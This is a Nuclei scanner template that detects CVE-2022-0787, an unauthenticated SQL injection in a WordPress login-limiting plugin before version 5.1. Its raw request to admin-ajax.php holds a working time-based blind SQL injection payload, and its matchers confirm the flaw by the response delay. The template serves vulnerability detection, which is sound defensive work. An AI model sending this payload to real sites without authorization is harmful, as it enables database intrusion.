42 lines
1.6 KiB
YAML
42 lines
1.6 KiB
YAML
id: CVE-2022-0787
|
|
|
|
info:
|
|
name: Limit Login Attempts (Spam Protection) < 5.1 - SQL Injection
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
The Limit Login Attempts (Spam Protection) WordPress plugin before 5.1 does not sanitise and escape some parameters before using them in SQL statements via AJAX actions (available to unauthenticated users), leading to SQL Injections.
|
|
remediation: Fixed in version 5.1
|
|
reference:
|
|
- https://wpscan.com/vulnerability/69329a8a-2cbe-4f99-a367-b152bd85b3dd
|
|
- https://wordpress.org/plugins/wp-limit-failed-login-attempts/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-0787
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-0787
|
|
cwe-id: CWE-89
|
|
metadata:
|
|
max-request: 1
|
|
verified: true
|
|
tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,wp-limit-failed-login-attempts
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
@timeout: 15s
|
|
POST /wp-admin/admin-ajax.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
action=WPLFLA_get_log_data&order[][column]=0&columns[][data]=(SELECT+7382+FROM+(SELECT(SLEEP(6)))ameU)
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- duration>=6
|
|
- status_code == 200
|
|
- contains(all_headers, "text/html")
|
|
- contains(body, 'iTotalDisplayRecords')
|
|
condition: and
|
|
# digest: 4b0a0048304602210090656cf685011b68efd7438f46dc0ac6c1dfd4e4e6c529bf07534826fe81d115022100b46e9bef3dec31f247b0913a73a55a732219d55015b550c9e56859f8b20a9b98:922c64590222798bb761d5b6d8e72950 |